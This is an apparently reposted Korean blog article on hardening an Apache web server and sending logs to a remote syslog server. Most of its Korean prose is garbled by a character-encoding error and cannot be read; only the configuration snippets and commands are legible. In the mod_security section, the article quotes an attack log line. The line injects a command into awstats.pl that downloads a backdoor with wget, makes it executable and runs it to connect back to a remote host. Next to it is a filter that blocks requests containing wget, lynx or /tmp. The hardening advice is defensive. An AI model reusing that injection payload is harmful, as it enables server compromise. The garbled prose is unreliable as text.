LINUX
2017.06.03 / 15:00

¾ÆÆÄÄ¡ À¥ ¼­¹ö º¸¾È ¼³Á¤ 2

±Ý±Ý±Ý
Ãßõ ¼ö 171

Ãâó : http://stnzone.com/gboard/bbs/board.php?bo_table=gnuboard&wr_id=19


¾ÆÆÄÄ¡ À¥ ¼­¹öÀÇ º¸¾È ¼³Á¤

À¥ ¼­¹ö·Î¼­ °¡Àå ¸¹ÀÌ »ç¿ëµÇ´Â ¾ÆÆÄÄ¡¸¦ ÀÌ¿ëÇÒ ¶§, ÁÖ ¼³Á¤ ÆÄÀÏÀÎ 'httpd.conf'¿¡¼­ ¸î °¡Áö º¸¾È ¼³Á¤À» ÇØ ÁÖ´Â °Í¸¸À¸·Îµµ À¥ º¸¾ÈÀ» »ó´çÈ÷ °­È­ÇÒ ¼ö ÀÖ´Ù. ±ÇÀåÇÒ¸¸ÇÑ ¸î °¡Áö ´ëÇ¥ÀûÀÎ ¼³Á¤À» »ìÆ캸µµ·Ï ÇÏÀÚ.

ÀϹÝÀûÀÎ À¥ ¼­¹ö´Â ¼­ºñ½º Æ÷Æ®·Î 1023 ÀÌÇÏ Æ÷Æ®ÀÎ 80¹øÀ» »ç¿ëÇϱ⠶§¹®¿¡ ¹Ýµå½Ã ·çÆ® ±ÇÇÑÀ¸·Î ÇÁ·Î¼¼½º¸¦ °¡µ¿ÇØ¾ß ÇÑ´Ù. ±×·¯³ª ÀÏ´Ü 80¹øÀ» ¸®½¼ÇÑ ´ÙÀ½¿¡ ½ÇÁ¦ ¼­ºñ½º¸¦ Á¦°øÇÏ´Â °ÍÀº ·çÆ®°¡ ¾Æ´Ñ ·çÆ®°¡ Æ÷Å©ÇÑ ÀÏ¹Ý »ç¿ëÀÚ ±ÇÇÑÀ¸·Î ¼­ºñ½ºÇϵµ·Ï ÇØ¾ß ÇÑ´Ù. ¸¸¾à ±×·¸Áö ¾ÊÀº °æ¿ì ·çÆ® ±ÇÇÑÀ¸·Î HTTPD°¡ ÀÛµ¿ÇÏ°Ô µÈ´Ù. ÀÌ·± °æ¿ì, À̸¦Å×¸é ¾ÇÀÇÀûÀÎ CGI ½ºÅ©¸³Æ®¸¦ ¾÷·ÎµåÇØ ½ÇÇàÇϸé, ·çÆ® ±ÇÇÑÀ¸·Î ÀÛµ¿ÇÏ°Ô µÇ¹Ç·Î ½É°¢ÇÑ º¸¾È ¹®Á¦¸¦ À¯¹ßÇÒ ¼ö ÀÖ°Ô µÉ °ÍÀÌ´Ù. µû¶ó¼­ ¾ÆÆÄÄ¡³ª ³ë¹Ùµð °°Àº ÀÏ¹Ý »ç¿ëÀÚ ±ÇÇÑÀ¸·Î Æ÷Å©ÇØ °¡µ¿Çϵµ·Ï ÇÑ´Ù.

¡¤ServerTokens Prod


´ÙÀ½Àº ¸ð ¾÷üÀÇ À¥ ¼­¹ö·Î ÅÚ³ÝÀ¸·Î 80¹ø¿¡ Á¢¼Ó ÈÄ HEAD ¸Þ¼Òµå·Î Á¢¼Ó ½ÃµµÇÑ °á°ú´Ù. À¥ ¼­¹ö´Â À¯´Ð½º °è¿­ÀÇ 1.3.29ÀÌ°í ¸ðµâ·Î´Â PHP 4.3.4¸¦ »ç¿ëÇÏ°í ÀÖ´Ù´Â °ÍÀ» ¾Ë ¼ö ÀÖ´Ù.


# telnet www.xxxxxx.co.kr 80
Trying 210.xxx.xx.xx...
Connected to www.xxxxxxx.co.kr


¿©±â¿¡¼­ µ¥¸óÀÇ ¹öÀüÀÌ ¹«¾ùÀ̶ó´Â °ÍÀº ÇöÀç ÇØ´ç ¹öÀüÀÌ ¾î¶² Ãë¾à¼ºÀ» °¡Áö°í ÀÖ°í, ¾î¶² °ø°ÝÀ» Çϸé À§ÇèÇÏ´Ù´Â °ÍÀ» ¾Ë·ÁÁÖ´Â °Í°ú ´Ù¸¦ ¹Ù ¾ø´Ù. ¹öÀü¸¸ ¾È´Ù¸é ÀÌ·± Á¤º¸´Â ÀÎÅͳݿ¡¼­ ½±°Ô Á¶È¸°¡ °¡´ÉÇϱ⠶§¹®ÀÌ´Ù. µû¶ó¼­ ±»ÀÌ ¿ÜºÎ¿¡ ¹öÀü Á¤º¸¿Í °°Àº ¹Î°¨ÇÑ Á¤º¸¸¦ À¯ÃâÇÒ ÇÊ¿ä°¡ ¾øÀ¸¸ç, °¡±ÞÀû º¸ÀÌÁö ¾Êµµ·Ï ¼ÓÀ̰ųª ´Ù¸¥ Á¤º¸·Î º¸À̵µ·Ï À§Á¶ÇÏ´Â °ÍÀÌ ÁÁ´Ù.


À̸¦ À§Çؼ­ ¾ÆÆÄÄ¡¿¡¼­´Â 'ServerTokens'À̶ó´Â Áö½ÃÀÚ¸¦ Á¦°øÇÏ°í ÀÖ´Ù. °¡´ÉÇÑ ¿É¼ÇÀº Prod, Min, OS, Full µîÀÌ Àִµ¥, ¾Æ¹«·± ¿É¼ÇÀ» ÁöÁ¤ÇÏÁö ¾Ê¾ÒÀ» °æ¿ì¿¡´Â ¸ðµç Á¤º¸°¡ º¸ÀÌ´Â FullÀÌ µÈ´Ù. OS->Min->Prod·Î °¥¼ö·Ï ´õ ÀûÀº Á¤º¸¸¦ º¸¿©ÁֹǷΠ´ç¿¬È÷ Prod¸¦ »ç¿ëÇÏ´Â °ÍÀ» ±ÇÀåÇÑ´Ù. ¸¸¾à Prod¸¦ »ç¿ëÇÒ °æ¿ì¿¡´Â °ú °°ÀÌ ¾ÆÆÄÄ¡¶ó´Â Á¤º¸¸¸ º¸ÀδÙ.


¸¸¾à ¾ÆÆÄÄ¡¶ó´Â Á¤º¸µµ º¸ÀÌÁö ¾Êµµ·Ï Çϰųª ´Ù¸¥ Á¤º¸·Î º¸À̵µ·Ï ÇÏ·Á¸é, ¾ÆÆÄÄ¡ ÄÄÆÄÀÏ ½Ã ¼Ò½º¸¦ ¼öÁ¤Çϰųª ¸ðµåº¸¾È(modsecurity)À̶ó´Â º¸¾È ¸ðµâÀ» »ç¿ëÇØ ¼³Á¤À» À§Á¶ÇÏ´Â ¹æ¹ýµµ ÀÖ´Ù. ´ÙÀ½°ú °°ÀÌ ¼³Á¤ÇÒ °æ¿ì ¾ÆÆÄÄ¡¶ó°í º¸ÀÌÁö ¾Ê°í ÁöÁ¤ÇÑ ¹®ÀÚ¿­·Î º¸ÀδÙ.


SecServerSignature "Microsoft-IIS/5.0"


/À̶ó´Â »çÀÌÆ®¿¡¼­ Á¦°øÇÏ´Â ¾Æ¸®¶û(arirang)À̶ó´Â ÅøÀ» ÀÌ¿ëÇÏ¸é ¸¹Àº IP ´ë¿ªÀ» ºü¸£°Ô ½ºÄµÇØ °¢ IP¿¡¼­ ¾î¶² À¥ ¼­¹ö ¹öÀüÀ» »ç¿ëÇÏ´ÂÁö º¸¿©ÁֹǷΠ°¢ÀÚ ÀÚ½ÅÀÇ ³×Æ®¿öÅ©¸¦ ½ºÄµÇØ º¸±â ¹Ù¶õ´Ù.

¡¤¸Þ¼Òµå Á¦ÇÑ ¼³Á¤

<Directory />
<LimitExcept GET POST>
       Order allow,deny
       deny from all
</LimitExcept>
</Directory>


ÀÌ ¼³Á¤Àº ¼­¹ö¿¡¼­ Á¦°øµÇ´Â ¸Þ¼Òµå¸¦ Á¦ÇÑÇÏ´Â ¼³Á¤À» º¸¿©ÁÖ°í ÀÖ´Ù. ±âº»ÀûÀ¸·Î À¥ ¼­¹ö¿¡¼­´Â ¸¹Àº ¸Þ¼Òµå¸¦ Á¦°øÇϴµ¥, º¸¾È °üÁ¡¿¡¼­ ºÒÇÊ¿äÇÑ ¸Þ¼Òµå¸¦ Çã¿ëÇÒ ÇÊ¿ä°¡ ¾øÀ¸¹Ç·Î ¹Ýµå½Ã ÇÊ¿äÇÑ ¸î °³ÀÇ Çʼö ¸Þ¼Òµå¸¸ Á¦°øÇÏ´Â °ÍÀÌ ÁÁÀ» °ÍÀÌ´Ù.


ÀϹÝÀûÀ¸·Î, GET°ú POST, HEAD¸¸ Á¦°øÇÏ¸é µÇ¹Ç·Î, ÀÌ·¸°Ô ¼³Á¤ÇÏ¸é ¸ðµç µð·ºÅ丮¿¡ ´ëÇØ GET(HEADµµ Æ÷ÇÔµÊ)°ú POST ¸Þ¼Òµå¸¦ Á¦°øÇϸç, ÀÌ¿ÜÀÇ ¸Þ¼Òµå´Â Á¦°øÇÏÁö ¾Ê°Ô µÈ´Ù.

¡¤Á¢±Ù ÅëÁ¦ ¼³Á¤


¸¸¾à ƯÁ¤ µð·ºÅ丮 ÀÌÇÏ¿¡ ´ëÇؼ­, ƯÁ¤ÇÑ IP¿¡¼­¸¸ Á¢±ÙÀ» Çã¿ëÇÏ°íÀÚ ÇÒ ¶§´Â ´ÙÀ½°ú °°ÀÌ ¼³Á¤ÇÒ ¼ö ÀÖ´Ù.


<Directory /home/ionthenet/>
  Order deny, allow
  Deny from all
  Allow from 192.168.1  
</Directory>


ÀÌ °æ¿ì /home/ionthenet/ µð·ºÅ丮 ÀÌÇÏ´Â 192.168.1.x ´ë¿ª¿¡ ´ëÇؼ­¸¸ Á¢±Ù °¡´ÉÇÏ°í, ÀÌ¿ÜÀÇ ´ë¿ª¿¡¼­´Â Á¢±ÙÀÌ ºÒ°¡´ÉÇѵ¥, ¿©±â¿¡¼­ Deny fromÀ̳ª Allow fromÀÇ ¼ø¼­´Â Áß¿äÇÏÁö ¾Ê´Ù. Order µÚ¿¡ ÀÖ´Â ¼ø¼­°¡ ¸Å¿ì Áß¿äÇÏ´Ù. Áï, ¾ÆÆÄÄ¡¿¡¼­´Â Order ±¸¹®¿¡¼­ µÚ¿¡ ³ª¿À´Â °ÍÀ» ¿ì¼±½ÃÇϴµ¥, ¿©±â¿¡¼­´Â allow°¡ µÚ¿¡ ÀÖÀ¸¹Ç·Î ¸ÕÀú allow¸¦ üũÇÏ°í ÀÌÈÄ¿¡ deny¸¦ üũÇÑ´Ù. µû¶ó¼­ ¿ì¼± 192.168.1. ´ë¿ªÀº Çã¿ëÇÏ°í ÀÌ¿ÜÀÇ Á¢¼ÓÀº ¸ðµÎ °ÅºÎÇÏ°Ô µÇ´Â °ÍÀÌ´Ù. ÀÌ´Â °ü¸®ÀÚ ¸ðµå³ª »ç³» ÀÎÆ®¶ó³Ý µîÀ» È°¿ëÇÒ ¶§ À¯¿ëÇÏ´Ù.

¡¤¼­¹ö »çÀ̵å ÆÄÀÏ ¼³Á¤


´ÙÀ½À¸·Î´Â À¥ »çÀÌÆ® °³¹ß °úÁ¤¿¡¼­ ÀÚÁÖ ½Ç¼öÇÏ´Â °ÍÀε¥, PHP µî°ú °°Àº ¼­¹ö »çÀÌµå ¼Ò½º ÆÄÀÏÀ» Àӽ÷Πdbconn.old³ª dbconn.bak¿Í °°ÀÌ ¼öÁ¤ÇØ À¥¿¡¼­ Á÷Á¢ ¼Ò½º·Î Á¢±ÙÀÌ °¡´ÉÇÏ°Ô µÇ´Â °æ¿ì°¡ Àִµ¥, ÀÌ·± °æ¿ì ÀǵµÄ¡ ¾Ê°Ô ½É°¢ÇÑ º¸¾È ¹®Á¦¸¦ À¯¹ßÇÒ ¼ö ÀÖ´Ù.ÀÌ·± °æ¿ì¿¡ ´ëºñÇØ ´ÙÀ½°ú °°ÀÌ ¼³Á¤Çϸé È®ÀåÀÚ°¡ bak À̳ª old ÆÄÀÏÀÇ °æ¿ì À¥ ¼­¹ö ÀÚü¿¡¼­ Á¢±ÙÀ» Â÷´ÜÇϹǷΠÀÏ´Ü ¾È½ÉÇÒ ¼ö ÀÖÀ» °ÍÀÌ´Ù.


<Files ~ ".bak$">
  Order allow,deny
  Deny from all
</Files>

<Files ~ ".old$">
  Order allow,deny
  Deny from all
</Files>


¶Ç´Â ´ÙÀ½°ú °°ÀÌ Æ¯Á¤ È®ÀåÀÚ¸¦ PHP¿Í °°Àº ¼­¹ö »çÀÌµå ¾ð¾î·Î ¼³Á¤ÇØ À¥ ¼­¹ö¿¡ ¼Ò½º¸¦ ±×´ë·Î º¸ÀÌÁö ¾Ê°í ½ÇÇàÇϵµ·Ï ÇÏ´Â ¹æ¹ýµµ ÁÁ´Ù.


AddType application/x-httpd-php .php .inc .bak .old .c 



¡¤´ë¿ë·® ¸Þ¸ð¸® Á¦ÇÑ ¼³Á¤


´ÙÀ½Àº À¥À» ÅëÇØ ´ë¿ë·®ÀÇ ¸Þ¸ð¸®¸¦ »ç¿ëÇÏ´Â ÇÁ·Î¼¼½º¸¦ Á¦ÇÑÇÏ´Â ¼³Á¤À¸·Î, ¸ðµç µð·ºÅ丮¿¡ ´ëÇØ »ç¿ë °¡´ÉÇÑ ¸Þ¸ð¸®¸¦ 20MB·Î Á¦ÇÑ, /home/ionthenet/ µð·ºÅ丮 ÀÌÇÏ¿¡ ´ëÇؼ­´Â ¿¹¿ÜÀûÀ¸·Î 50MB Á¤µµ·Î Á¦ÇÑÇÏ°Ô µÈ´Ù.


»ç½Ç»ó ¸Þ¸ð¸®¸¦ ¼Ò¸ðÇÏ´Â °£´ÜÇÑ ·çƾÀ» ¹«ÇÑ·çÇÁ¸¦ µ¹°Ô ÇØ À¥ ¼­¹ö¸¦ ´Ù¿î½ÃÅ°´Â °ÍÀº ±×¸® ¾î·Á¿î °ÍÀÌ ¾Æ´Ï¹Ç·Î »çÀü¿¡ ÀûÀýÇÑ Á¦ÇÑÀ» ÇØ µÎ´Â °ÍÀÌ ÁÁ´Ù. 

RLimitMEM 20000000 
<Directory /home/ionthenet/>
RLimitMEM 50000000
</Directory>



¡¤¸ðµåº¸¾È ¼³Á¤


¸¶Áö¸·À¸·Î ÃÖ±Ù ÀÚÁÖ µîÀåÇÏ´Â °ø°Ý ÇüÅ·μ­ °Ô½ÃÆÇ µî°ú °°Àº À¥ ¾ÖÇø®ÄÉÀ̼ÇÀÇ Ãë¾à¼ºÀ» ÀÌ¿ë, ÀÎÁõÀ» ¿ìȸÇØ À¥À» ÅëÇØ ½Ã½ºÅÛ ¸í·É¾î¸¦ ½ÇÇàÇÏ´Â °æ¿ì´Ù. 


ÀÌ´Â ´ÙÀ½°ú °°Àº À¥ ¼­¹ö ·Î±×¸¦ º¸¸é ¾Ë ¼ö Àִµ¥, ¾Æ·¡ÀÇ °æ¿ì À¥À» ÅëÇØ WGETÀ» ½ÇÇàÇØ ¹éµµ¾î¸¦ /TMP¿¡ ¾÷·Îµå ÈÄ Á÷Á¢ ½ÇÇàÇÑ´Ù´Â °ÍÀ» ¾Ë ¼ö ÀÖ´Ù.


200.96.xx.xxx - - [26/xxx/2005:06:34:30 +0000] "GET /cgi-bin/awstats/awstats.pl?xxx=%20/tmp;
wget%20http://www.nokiacxxxx.cz/dcha0s/dc;chmod%20777%20dc;./dc%20cyber.yar.ru%208080;%00 
HTTP/1.1" 200 554 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"


±×·¯³ª ¾ÆÆÄÄ¡ ÀÚü¿¡¼­´Â ÀÌ·± ÇüÅÂÀÇ °ø°ÝÀ» Â÷´ÜÇÒ ¼ö ÀÖ´Â ¹æ¹ýÀº ¾ø´Ù. ´ÜÁö ¸ðµåº¸¾È(modsecurity)¶ó´Â º°µµÀÇ º¸¾È ¸ðµâÀ» ÀÌ¿ëÇÒ °æ¿ì¸¸ °¡´ÉÇÏ´Ù. µû¶ó¼­ ¸ðµåº¸¾È¸¦ ¼³Ä¡ÇÑ ÈÄ, ´ÙÀ½ÀÇ ¼³Á¤À» 'httpd.conf'¿¡ Ãß°¡Çϸé URI ¹®ÀÚ¿­¿¡ ¹Ì¸® ÁöÁ¤µÈ WGETÀ̳ª TMP µîÀÌ º¸À̸é Á¢¼ÓÀ» °ÅºÎÇÏ°í ÇØ´ç Á¤º¸¸¦ ·Î±×¿¡ ³²±ä ÈÄ 500 ¿¡·¯¸¦ ³½´Ù. °ø°ÝÀÚµéÀÌ ÈçÈ÷ »ç¿ëÇÏ´Â ½Ã½ºÅÛ ¸í·É¾î¸¦ ¹Ì¸® ÇÊÅÍ¿¡ ÁöÁ¤ÇØ µÎ¸é ¹ÌºÀÃ¥À̳ª¸¶ À¥À» ÅëÇÑ °ø°ÝÀ» »çÀü¿¡ Â÷´ÜÇÏ´Â È¿°ú¸¦ ±â´ëÇÒ ¼ö ÀÖ´Ù.


<IfModule mod_security.c>
  SecFilterDefaultAction "deny,log,status:500"
  SecFilterSelective THE_REQUEST "wget"
  SecFilterSelective THE_REQUEST "lynx"
  SecFilterSelective THE_REQUEST "/tmp"
</IfModule>



¿ø°ÝÀÇ ·Î±ë(logging) ¼­¹ö¸¦ ÀÌ¿ëÇÏ´Â ¹æ¹ý


·Î±×(log)ÀÇ Á߿伺Àº ¾Æ¹«¸® °­Á¶Çصµ Áö³ªÄ¡Áö ¾ÊÀ» ¸¸Å­ ½Ã½ºÅÛ°ú ³×Æ®¿öÅ© °ü¸®¿¡ À־ Å« ºñÁßÀ» Â÷ÁöÇÑ´Ù. °¡±ÞÀû °¢ ½Ã½ºÅÛÀÇ ·Î±×¸¦ °¢°¢ ÀúÀåÇÏÁö ¾Ê°í º°µµÀÇ ·Î±×¼­¹ö¸¦ µÖ ÇÑ °÷¿¡¼­ ÅëÇÕ°ü¸®¸¦ ÇØ¾ß ÇÑ´Ù.


±× ÀÌÀ¯·Î´Â ¿ì¼± »ç¿ëÀÇ ÆíÀǼºÀ» µé ¼ö ÀÖ´Ù. ÇѵΠ´ëÀÇ ½Ã½ºÅÛÀÌ ¾Æ´Ò °æ¿ì ÀÏÀÏÀÌ ·Î±×ÀÎÇØ Á¤º¸¸¦ È®ÀÎÇÏ´Â °ÍÀº °ÅÀÇ ºÒ°¡´ÉÇϱ⠶§¹®ÀÌ´Ù.


´Ù¸¥ ÀÌÀ¯·Î º¸¾ÈÀûÀÎ ¹®Á¦¸¦ µé ¼ö ÀÖ´Ù. ´ëºÎºÐÀÇ °ø°ÝÀÚ´Â °ü¸®ÀÚ ±ÇÇÑ È¹µæ¿¡ ¼º°øÇÑ ÈÄ ·Î±× ÆÄÀÏ¿¡¼­ ÀÚ½ÅÀÇ Á¢¼Ó Á¤º¸¸¦ »èÁ¦Çϰųª ¾Æ¿¹ ·Î±× ÆÄÀÏÀ» »èÁ¦ÇÏ´Â °æ¿ì°¡ ¸¹´Ù. ÇÏÁö¸¸ º°µµÀÇ ¿ø°ÝÁö ·Î±× ¼­¹ö¿¡ ·Î±×¸¦ ÀúÀåÇÒ °æ¿ì ·Î±× ¼­¹ö±îÁö °ø°ÝÇØ °ü¸®ÀÚ ±ÇÇÑÀ» ȹµæÇÏÁö ¾Ê´Â ÇÑ »ó´ëÀûÀ¸·Î ¾ÈÀüÇϱ⠶§¹®ÀÌ´Ù.


ÀÚ, ±×·³ À¯´Ð½º °è¿­ÀÇ ¼­¹ö¿¡¼­ ·Î±× ¼­¹ö¸¦ ¾î¶»°Ô ±¸ÃàÇØ¾ß ÇÒ±î?


¸ÕÀú ·Î±×¸¦ º¸³¾ °¢°¢ÀÇ ¼­¹ö¿¡¼­ ´ÙÀ½°ú °°ÀÌ ¼³Á¤ÇÑ´Ù.


#/etc/syslog.conf ÆÄÀÏ

authpriv.*                   @192.168.1.5


ÀÌ·¸°Ô ¼³Á¤ÇÒ °æ¿ì º¸¾È ¶Ç´Â ÀÎÁõ°ú °ü·ÃµÈ ·Î±×¸¦ ·ÎÄà ½Ã½ºÅÛ¿¡ ÀúÀåÇÏÁö ¾Ê°í ¿ø°ÝÁöÀÇ 192.168.1.5 ¼­¹ö¿¡ ÀúÀåÇÏ°Ô µÈ´Ù. ¸¸¾à ¿ø°ÝÁö ·Î±× ¼­¹ö»Ó¸¸ ¾Æ´Ï¶ó ·ÎÄÿ¡µµ °°ÀÌ ÀúÀåÇÏ·Á¸é ´ÙÀ½°ú °°ÀÌ ¼³Á¤ÇÏ¸é µÈ´Ù.


#/etc/syslog.conf ÆÄÀÏ

authpriv.*                   @192.168.1.5 
authpriv.*                   /var/log/secure


¶Ç´Â authpriv.* ´ë½Å *.* ¸¦ ÁöÁ¤ÇÏ¸é ¸ðµç Á¤º¸¸¦ ·Î±×¿¡ ³²±â°Ô µÉ °ÍÀÌ´Ù.
¼³Á¤À» º¯°æÇÑ ÈÄ¿¡´Â ´ÙÀ½°ú °°ÀÌ ½ÇÇàÇÏ¿© syslog¸¦ Àç°¡µ¿Çϵµ·Ï ÇÑ´Ù.


# /etc/rc.d/init.d/syslog restart


´ÙÀ½¿¡´Â ·Î±×¸¦ ¹ÞÀ» ·Î±× ¼­¹ö(Áï, 192.168.1.5)¿¡¼­ÀÇ ¼³Á¤ ¹æ¹ýÀÌ´Ù.
ÀÌ´Â °£´ÜÈ÷ ´ÙÀ½°ú °°Àº ÆÄÀϸ¸ ¼öÁ¤ÇÏ¸é µÈ´Ù.


# /etc/rc.d/init.d/syslog ÆÄÀÏ

start)
       echo -n "Starting system logger: "
       # we don't want the MARK ticks
       daemon syslogd -m 0 -h
==>
start)
       echo -n "Starting system logger: "
       # we don't want the MARK ticks
       daemon syslogd -m 0 -r -h


Áï, syslogdÀÇ µ¥¸ó ¿É¼Ç Áß¿¡ -r ¿É¼Ç¸¸ Ãß°¡ÇÏ¸é µÇ´Âµ¥, ¿©±â¿¡¼­ -rÀÇ Àǹ̴ syslogd ¼­ºñ½º¸¦ ÅëÇØ ¿ø°ÝÁö¿¡¼­ ·Î±×¸¦ ¹Þ´Â´Ù´Â °ÍÀ¸·Î, ÀÌ ¼³Á¤À» ÇØ ÁÖÁö ¾ÊÀ¸¸é ¿ø°ÝÁö¿¡¼­ Àü¼ÛµÇ´Â ·Î±×¸¦ ¹ÞÀ» ¼ö ¾øÀ¸´Ï ÁÖÀÇÇϱ⠹ٶõ´Ù.


ÀÌÈÄ ¼³Á¤À» º¯°æÇÑ ÈÄ¿¡´Â ´ÙÀ½°ú °°ÀÌ ½ÇÇàÇØ syslog¸¦ Àç°¡µ¿ÇÑ´Ù.

# /etc/rc.d/init.d/syslog restart

ÀÌÁ¦ ¸ðµç ¼³Á¤ÀÌ ³¡³µ´Ù.


ÀÌÈÄ ´ÙÀ½°ú °°ÀÌ TCPdump¸¦ ½ÇÇàÇϸé Àü¼ÛµÇ´Â ÆÐŶÀ» È®ÀÎÇÒ ¼ö ÀÖ´Ù.

# tcpdump port 514
09:36:22.393806 eth0 < www51.syslog > logserver.syslog: udp 47 (DF)
09:36:22.522422 eth0 < www66.syslog > logserver.syslog: udp 47 (DF)
09:36:22.877417 eth0 < www58.syslog > logserver.syslog: udp 46 (DF)

Âü°í·Î IP°¡ º¸ÀÌÁö ¾Ê°í È£½ºÆ® À̸§ÀÌ º¸ÀÌ´Â °ÍÀº ¼­¹öÀÇ /etc/hosts ÆÄÀÏ¿¡ ´ÙÀ½°ú °°ÀÌ µî·ÏÇ߱⠶§¹®ÀÌ´Ù.


# /etc/hosts

192.168.1.5      logsevrer 
192.168.1.51     www51
192.168.1.66     www66
192.168.1.57     www58


ÀÌÈÄ /var/log/secure ÆÄÀÏÀ» º¸¸é ´ÙÀ½°ú °°ÀÌ °¢ ¼­¹ö·ÎºÎÅÍ Àü¼ÛµÇ´Â ÀÎÁõ Á¤º¸°¡ ·Î±×¿¡ ½×ÀÌ´Â °ÍÀ» ¾Ë ¼ö ÀÖ´Ù.


# tail -f /var/log/secure 
Nov 22 09:38:51 www66 ipop3d[19836]: connect from 221.151.163.57
Nov 22 09:38:51 www58 ipop3d[28856]: connect from 221.151.163.57
Nov 22 09:38:52 www51 ipop3d[14722]: connect from 59.11.76.100
Nov 22 09:38:52 www51 ipop3d[14723]: connect from 211.206.124.39


ÀúÀÚ : È«¼®¹ü | ¿À´Ã°ú³»ÀÏ ¿î¿µ°ü¸®ÆÀ Â÷Àå



Ãâó: http://kikook.tistory.com/482 [³»°¡ »ç´Â ÀÌÀ¯]